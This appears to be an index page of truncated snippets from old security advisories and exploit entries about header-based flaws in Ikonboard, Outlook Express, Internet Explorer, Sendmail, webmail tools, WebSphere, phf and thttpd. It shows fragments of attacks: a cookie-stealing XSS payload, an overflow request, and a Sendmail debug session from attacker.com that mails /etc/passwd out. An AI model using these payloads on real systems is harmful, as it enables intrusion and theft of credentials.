Ikonboard crossite scripting

IMGjavascript:alertdocument.cookie.gif/IMG, Photo/javascript:alertdocument.cookie URL, Photo, X-Forwarded-For scripting...

Microsoft Outlook Express 5/6 - Spoofable File Extensions

source: https://www.securityfocus.com/bid/5277/info It is possible for a malicious user, sending email via a mail agent capable of manipulating the MIME headers, to spoof file extensions for users of Outlook Express. For example, an .exe file can be made to look like a .txt or other seemingly...

CVE-2001-0727

Internet Explorer 6.0 allows remote attackers to execute arbitrary code by modifying the Content-Disposition and Content-Type header fields in a way that causes Internet Explorer to believe that the file is safe to open without prompting the user, aka the "File Execution Vulnerability."...

CVE-2002-0285

Outlook Express 5.5 and 6.0 on Windows treats a carriage return "CR" in a message header as if it were a valid carriage return/line feed combination CR/LF, which could allow remote attackers to bypass virus protection and or other filtering mechanisms via a mail message with headers that only...

Instant Web Mail additional POP3 commands and mail headers

Instant Web Mail additional POP3 commands and mail headers PROGRAM: Instant Web Mail VENDOR: Jonas Koch Bentzen [email protected] HOMEPAGE: http://understroem.dk/instantwebmail/ VULNERABLE VERSIONS: 0.59 possibly earlier versions too TYPE: remote/local SEVERITY: medium DESCRIPTION: "Instant We...

AeroMail multiple vulnerabilities

AeroMail multiple vulnerabilities PROGRAM: AeroMail VENDOR: Mark Cushman [email protected] HOMEPAGE: http://the.cushman.net/projects/aeromail/ MIRROR: http://www.packetplay.com/projects/aeromail/ VULNERABLE VERSIONS: all versions below 1.45 SEVERITY: medium to high DESCRIPTION: "AeroMail is a...

Cgisecurity Paper #4: Header Based Exploitation: Web Statistical Software Threats

Hello, Below is a paper I wrote on some threats that web statistical software faces in regards to header manipulation. I've decided to include 1 product affected by this to show that this is very possible. Product: w3perl Vendor: http://www.w3perl.com Patch: http://www.w3perl.com/download/ Upgrad...

Yet Another IBM WebSphere Showcode Vulerability

Summary: When IBM WebSphere application server shares the same document root as Netscape Enterprise server it is possible for a malicious user to view to view the source of any JSP file in the document root. WebSphere's plugin for Netscape Enterprise server uses the host header sent from the clie...

PHF (Linux/x86) - Remote Buffer Overflow

/ | phx.c -- phf buffer overflow exploit for Linux-ix86 | Copyright c 2000 by proton. All rights reserved. | | This program is free software; you can redistribute it and/or modify | it under the terms of the GNU General Public License as published by | the Free Software Foundation; either version...

CVE-1999-0393

Remote attackers can cause a denial of service in Sendmail 8.8.x and 8.9.2 by sending messages with a large number of headers...

unsafe fgets() in sendmail's mail.local

Topic: unsafe fgets in sendmail's mail.local Description: There are 4 problems: 1. Possibility to insert LMTP commands into e-mail message 2. Possibility of deadlock between sendmail and mail.local 3. Possibility to corrupt user's mailbox 4. Possibility to change e-mail headers of the message in...

thttpd 2.04 If-Modified-Since Header Remote Buffer Overflow

It is possible to make the remote thttpd server execute arbitrary code by sending a request like : GET / HTTP/1.0 If-Modified-Since: AAA...AAAA An attacker may use this to gain control on your computer. C Tenable Network Security, Inc. include"compat.inc"; ifdescription scriptid10285; scriptversi...

Berkeley Sendmail 5.58 - Debug

220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: 250 OK rcpt to: 250 OK data 354 Start mail input; end with . mail [email protected] /etc/passwd . 250 OK quit 221 mail.victim.com Terminating The sed in the receipient strips all mail...